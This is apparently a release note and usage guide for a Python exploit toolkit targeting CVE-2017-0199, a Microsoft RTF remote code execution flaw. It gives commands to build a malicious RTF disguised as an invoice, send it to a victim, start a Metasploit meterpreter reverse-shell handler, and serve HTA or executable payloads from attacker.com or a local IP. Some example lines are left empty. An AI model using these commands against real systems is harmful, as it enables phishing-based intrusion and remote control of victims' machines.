Exploit toolkit CVE-2017-0199 - v2.0 is a handy python script which provides a quick and effective way to exploit Microsoft RTF RCE. It could generate a malicious RTF file and deliver metasploit / meterpreter payload to victim without any complex configuration.
Release note:
Introduced following capabilities to the script
- Generate Malicious RTF file using toolkit
- Run toolkit in an exploitation mode as tiny HTA + Web server Version: Python version 2.7.13
Example:
Step 1: Generate malicious RTF file using following command and send it to victim
Syntax:
python cve-2017-0199_toolkit.py -M gen -w <filename.rtf> -u http://attacker.com/test.hta
Example:
python cve-2017-0199_toolkit.py -M gen -w Invoice.rtf -u http://192.168.133.128/logo.doc
Step 2 (Optional, if using MSF Payload) : Generate metasploit payload and start handler
Example:
Generate Payload:
Start Handler:
msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.133.128; run"
Step 3: Start toolkit in exploitation mode to deliver payloads
Syntax:
python cve-2017-0199_toolkit.py -M exp -e http://attacker.com/shell.exe -l </tmp/shell.exe>
Example: